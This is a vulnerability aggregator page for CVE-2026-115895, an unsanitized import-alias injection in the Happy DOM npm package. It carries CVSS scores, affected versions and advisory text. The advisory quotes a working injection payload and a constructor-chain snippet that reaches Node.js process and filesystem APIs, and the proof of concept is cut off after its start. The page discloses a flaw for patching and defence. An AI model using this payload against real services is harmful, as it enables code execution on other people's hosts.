CVE-2026-115895
Happy DOM: Incomplete fix for CVE-2026-33943: unsanitized import alias leads to host code execution
Happy DOM is a JavaScript implementation of a web browser without its graphical user interface. From 17.0.0 until 21.0.4, packages/happy-dom/src/module/ECMAScriptModuleCompiler.ts accepts a named ESM import alias without validating that it is a JavaScript binding identifier before inserting it into a generated destructuring binding. With enableJavaScriptEvaluation enabled, attacker-controlled HTML or module source can use an invalid alias that becomes a valid default initializer after compilation, causing the generated JavaScript to execute in the Node.js host process. The demonstrated reachable path uses a JSON module import attribute, which prevents the malicious alias from being emitted again in a later ESM circular-import assignment and keeps the generated function syntactically valid. This incomplete fix for CVE-2026-33943 is a distinct residual path because the earlier remediation validated the local export importName path but not the named-import alias. This issue is fixed in version 21.0.4.
Attack profile
How easy it is to exploit
- Attack vector
- Network
- Complexity
- Low
- Privileges needed
- None
- User interaction
- Required
What an attacker can affect
- Confidentiality
- High
- Integrity
- High
- Availability
- High
Exploit likelihood
What each source reports
CVE List Score used
8.8
Happy DOM: Incomplete fix for CVE-2026-33943: unsanitized import alias leads to host code execution
Happy DOM is a JavaScript implementation of a web browser without its graphical user interface. From 17.0.0 until 21.0.4, packages/happy-dom/src/module/ECMAScriptModuleCompiler.ts accepts a named ESM import alias without validating that it is a JavaScript binding identifier before inserting it into a generated destructuring binding. With enableJavaScriptEvaluation enabled, attacker-controlled HTML or module source can use an invalid alias that becomes a valid default initializer after compilation, causing the generated JavaScript to execute in the Node.js host process. The demonstrated reachable path uses a JSON module import attribute, which prevents the malicious alias from being emitted again in a later ESM circular-import assignment and keeps the generated function syntactically valid. This incomplete fix for CVE-2026-33943 is a distinct residual path because the earlier remediation validated the local export importName path but not the named-import alias. This issue is fixed in version 21.0.4.
- Record
CVE-2026-115895- CVSS 3.1
- 8.8 High
CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H - Weakness
- CWE-94
- Updated
- 2026-11-02
EUVDEUVD-2026-109189
8.8
Happy DOM is a JavaScript implementation of a web browser without its graphical user interface. From 17.0.0 until 21.0.4, packages/happy-dom/src/module/ECMAScriptModuleCompiler.ts accepts a named ESM import alias without validating that it is a JavaScript binding identifier before inserting it into a generated destructuring binding. With enableJavaScriptEvaluation enabled, attacker-controlled HTML or module source can use an invalid alias that becomes a valid default initializer after compilation, causing the generated JavaScript to execute in the Node.js host process. The demonstrated reachable path uses a JSON module import attribute, which prevents the malicious alias from being emitted again in a later ESM circular-import assignment and keeps the generated function syntactically valid. This incomplete fix for CVE-2026-33943 is a distinct residual path because the earlier remediation validated the local export importName path but not the named-import alias. This issue is fixed in version 21.0.4.
- Record
EUVD-2026-109189- CVSS 3.1
- 8.8 High
CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H - Updated
- 2026-11-02
GitHub AdvisoriesGHSA-834v-8h66-3h79
8.8
Happy DOM: Incomplete fix for CVE-2026-33943: unsanitized import alias leads to host code execution
Summary
The ESM compiler in [email protected] does not validate imported local binding aliases before interpolating them into generated JavaScript.
As a result, an invalid ESM import alias can be transformed into a valid JavaScript destructuring default initializer and executed.
This appears to be an alternate injection path and incomplete remediation of GHSA-6q6h-j7hj-3r64 / CVE-2026-33943. The previous fix validates importName in the local export { ... } handler, but the named import handler still places an unvalidated alias directly into code context.
These issues were confirmed through the public Window and <script type="module"> APIs using the published happy-dom npm package. The PoC reaches the Node.js host process, obtains node:fs, and creates a proof directory on the host filesystem.
Confirmed affected versions
The PoC was directly tested against:
The same PoC does not trigger on [email protected].
The ESM compiler was introduced by commit 7bc831df2, first released in v17.0.0. The vulnerable interpolation remains present through v20.14.5, the latest release at the time of testing.
Suggested affected range:
>= 17.0.0, <= 20.14.5
No patched version is currently available.
Preconditions
- JavaScript evaluation is enabled with
enableJavaScriptEvaluation: true. - Attacker-controlled HTML or module source is processed by Happy DOM.
- This may affect SSR, preview, scraping, or testing services that evaluate externally supplied HTML.
Technical details
In packages/happy-dom/src/module/ECMAScriptModuleCompiler.ts, the named import handler splits an import specifier and extracts its alias:
const nameParts = part.trim().split(/\s+as\s+/);
const alias = (nameParts[1] || nameParts[0]).replace(/["']/g, '');
const name = nameParts[0].replace(/["']/g, '');
if (alias && name) {
properties.push({ name, alias });
}
Unlike the patched export { ... } handler, the value of alias is not validated as a JavaScript identifier.
It is subsequently inserted directly into generated binding syntax:
newCodeStart += `let {${properties
.map((property) =>
property.alias
? `"${property.name}": ${property.alias}`
: property.name
)
.join(', ')}} = $happy_dom.imports.get('${url}')${match[8]}`;
Consider the following source:
import {
missing as injected = globalThis.__HAPPY_DOM_PWNED__ = 1337
} from './dep.json' with { type: 'json' };
This is invalid ECMAScript module syntax. Node.js rejects it at the = token.
Happy DOM instead transforms it into the equivalent of:
let {
"missing": injected = globalThis.__HAPPY_DOM_PWNED__ = 1337
} = $happy_dom.imports.get('https://poc.local/dep.json');
This generated JavaScript is valid. Because the imported JSON object does not contain a missing property, the default initializer executes.
The with { type: 'json' } attribute is relevant because the compiler only generates its circular import resolver for ESM imports:
if (!match[7] || match[7] === 'esm') {
resolvableCircularImports.push({ url, properties });
}
Using a JSON module prevents the malicious alias from being emitted again in a later circular-import assignment, leaving the generated function syntactically valid.
Backtick strings also survive the existing quote removal. This allows the injected initializer to reach Node.js host APIs:
globalThis.constructor.constructor(`return process`)()
.getBuiltinModule(`node:fs`)
.mkdirSync(
globalThis.constructor.constructor(`return process`)().cwd() +
`/HAPPY_DOM_RCE_PROOF`
)
Proof of concept
The following PoC uses only the public Happy DOM API and performs a harmless filesystem action by creating a directory named HAPPY_DOM_RCE_PROOF.
1. Create package.json
{
"name": "happy-dom-import-alias-rce-poc",
"private": true,
…
- Record
GHSA-834v-8h66-3h79- CVSS 3.1
- 8.8 High
CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H - Weakness
- CWE-94
- Updated
- 2026-11-02
NVD
8.8
Happy DOM is a JavaScript implementation of a web browser without its graphical user interface. From 17.0.0 until 21.0.4, packages/happy-dom/src/module/ECMAScriptModuleCompiler.ts accepts a named ESM import alias without validating that it is a JavaScript binding identifier before inserting it into a generated destructuring binding. With enableJavaScriptEvaluation enabled, attacker-controlled HTML or module source can use an invalid alias that becomes a valid default initializer after compilation, causing the generated JavaScript to execute in the Node.js host process. The demonstrated reachable path uses a JSON module import attribute, which prevents the malicious alias from being emitted again in a later ESM circular-import assignment and keeps the generated function syntactically valid. This incomplete fix for CVE-2026-33943 is a distinct residual path because the earlier remediation validated the local export importName path but not the named-import alias. This issue is fixed in version 21.0.4.
- Record
CVE-2026-115895- CVSS 3.1
- 8.8 High
CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H - Weakness
- CWE-94
- Updated
- 2026-11-02
OSV
8.8
Happy DOM: Incomplete fix for CVE-2026-33943: unsanitized import alias leads to host code execution
Happy DOM is a JavaScript implementation of a web browser without its graphical user interface. From 17.0.0 until 21.0.4, packages/happy-dom/src/module/ECMAScriptModuleCompiler.ts accepts a named ESM import alias without validating that it is a JavaScript binding identifier before inserting it into a generated destructuring binding. With enableJavaScriptEvaluation enabled, attacker-controlled HTML or module source can use an invalid alias that becomes a valid default initializer after compilation, causing the generated JavaScript to execute in the Node.js host process. The demonstrated reachable path uses a JSON module import attribute, which prevents the malicious alias from being emitted again in a later ESM circular-import assignment and keeps the generated function syntactically valid. This incomplete fix for CVE-2026-33943 is a distinct residual path because the earlier remediation validated the local export importName path but not the named-import alias. This issue is fixed in version 21.0.4.
- Record
CVE-2026-115895- CVSS 3.1
- 8.8 High
CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H - Weakness
- CWE-94
- Updated
- 2026-11-02
OSVGHSA-834v-8h66-3h79
8.8
Happy DOM: Incomplete fix for CVE-2026-33943: unsanitized import alias leads to host code execution
Summary
The ESM compiler in [email protected] does not validate imported local binding aliases before interpolating them into generated JavaScript.
As a result, an invalid ESM import alias can be transformed into a valid JavaScript destructuring default initializer and executed.
This appears to be an alternate injection path and incomplete remediation of GHSA-6q6h-j7hj-3r64 / CVE-2026-33943. The previous fix validates importName in the local export { ... } handler, but the named import handler still places an unvalidated alias directly into code context.
These issues were confirmed through the public Window and <script type="module"> APIs using the published happy-dom npm package. The PoC reaches the Node.js host process, obtains node:fs, and creates a proof directory on the host filesystem.
Confirmed affected versions
The PoC was directly tested against:
The same PoC does not trigger on [email protected].
The ESM compiler was introduced by commit 7bc831df2, first released in v17.0.0. The vulnerable interpolation remains present through v20.14.5, the latest release at the time of testing.
Suggested affected range:
>= 17.0.0, <= 20.14.5
No patched version is currently available.
Preconditions
- JavaScript evaluation is enabled with
enableJavaScriptEvaluation: true. - Attacker-controlled HTML or module source is processed by Happy DOM.
- This may affect SSR, preview, scraping, or testing services that evaluate externally supplied HTML.
Technical details
In packages/happy-dom/src/module/ECMAScriptModuleCompiler.ts, the named import handler splits an import specifier and extracts its alias:
const nameParts = part.trim().split(/\s+as\s+/);
const alias = (nameParts[1] || nameParts[0]).replace(/["']/g, '');
const name = nameParts[0].replace(/["']/g, '');
if (alias && name) {
properties.push({ name, alias });
}
Unlike the patched export { ... } handler, the value of alias is not validated as a JavaScript identifier.
It is subsequently inserted directly into generated binding syntax:
newCodeStart += `let {${properties
.map((property) =>
property.alias
? `"${property.name}": ${property.alias}`
: property.name
)
.join(', ')}} = $happy_dom.imports.get('${url}')${match[8]}`;
Consider the following source:
import {
missing as injected = globalThis.__HAPPY_DOM_PWNED__ = 1337
} from './dep.json' with { type: 'json' };
This is invalid ECMAScript module syntax. Node.js rejects it at the = token.
Happy DOM instead transforms it into the equivalent of:
let {
"missing": injected = globalThis.__HAPPY_DOM_PWNED__ = 1337
} = $happy_dom.imports.get('https://poc.local/dep.json');
This generated JavaScript is valid. Because the imported JSON object does not contain a missing property, the default initializer executes.
The with { type: 'json' } attribute is relevant because the compiler only generates its circular import resolver for ESM imports:
if (!match[7] || match[7] === 'esm') {
resolvableCircularImports.push({ url, properties });
}
Using a JSON module prevents the malicious alias from being emitted again in a later circular-import assignment, leaving the generated function syntactically valid.
Backtick strings also survive the existing quote removal. This allows the injected initializer to reach Node.js host APIs:
globalThis.constructor.constructor(`return process`)()
.getBuiltinModule(`node:fs`)
.mkdirSync(
globalThis.constructor.constructor(`return process`)().cwd() +
`/HAPPY_DOM_RCE_PROOF`
)
Proof of concept
The following PoC uses only the public Happy DOM API and performs a harmless filesystem action by creating a directory named HAPPY_DOM_RCE_PROOF.
1. Create package.json
{
"name": "happy-dom-import-alias-rce-poc",
"private": true,
…
- Record
GHSA-834v-8h66-3h79- CVSS 3.1
- 8.8 High
CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H - Weakness
- CWE-94
- Updated
- 2026-11-02
OSVCLSA-2026-1793113520 No score
TuxCare security update for happy-dom (1 CVE)
TuxCare rebuilt happy-dom to address 1 CVE. Fixed in 20.8.8-tuxcare.2.
- Record
CLSA-2026-1793113520- Updated
- 2026-11-02
OSVCLSA-2026-1793122387 No score
TuxCare security update for happy-dom (1 CVE)
TuxCare rebuilt happy-dom to address 1 CVE. Fixed in 20.12.0-tuxcare.1.
- Record
CLSA-2026-1793122387- Updated
- 2026-11-02
Affected products
Affected packages
| Package | Affected | Fixed |
|---|---|---|
happy-domnpm |
17.0.0 to 21.0.3 | 21.0.4 |
happy-domTuxCare:npm |
20.8.8-tuxcare.0 up to 20.8.8-tuxcare.2, plus listed versions 20.8.820.8.8-tuxcare.1 |
20.8.8-tuxcare.2 |
happy-domTuxCare:npm |
20.12.0-tuxcare.0 up to 20.12.0-tuxcare.1, plus listed versions 20.12.0 |
20.12.0-tuxcare.1 |
happy-domnpm |
17.0.0 up to 21.0.4 | 21.0.4 |
History
| Recorded | Changed | Sources |
|---|---|---|
| first indexed | CVE List, EUVD, GitHub Advisories, NVD, OSV |
Dates are when Every CVE recorded each change. Upstream dates may differ.
In short
CVE-2026-115895 is a high vulnerability (CVSS 8.8) in Capricorn86 Happy-dom, published October 23, 2026. No source lists public exploit code. EPSS puts the chance of exploitation in the next 30 days at 0.47%, the 41st percentile. Fixed in happy-dom 21.0.4.
References
github.com/capricorn86/happy-dom/security/advisories/GHSA-834v-8h66-3h79
github.com/capricorn86/happy-dom/pull/2537
github.com/capricorn86/happy-dom/commit/fd163520b74d9fa146be91f7b4e4f46d6cccbe13
github.com/capricorn86/happy-dom/releases/tag/v21.0.4
github.com/advisories/GHSA-834v-8h66-3h79
github.com/CVEProject/cvelistV5/tree/main/cves/2026/115xxx/CVE-2026-115895.json
nvd.nist.gov/vuln/detail/CVE-2026-115895
github.com/capricorn86/happy-dom
Left out here: the rest of 2 source descriptions. The JSON record has them.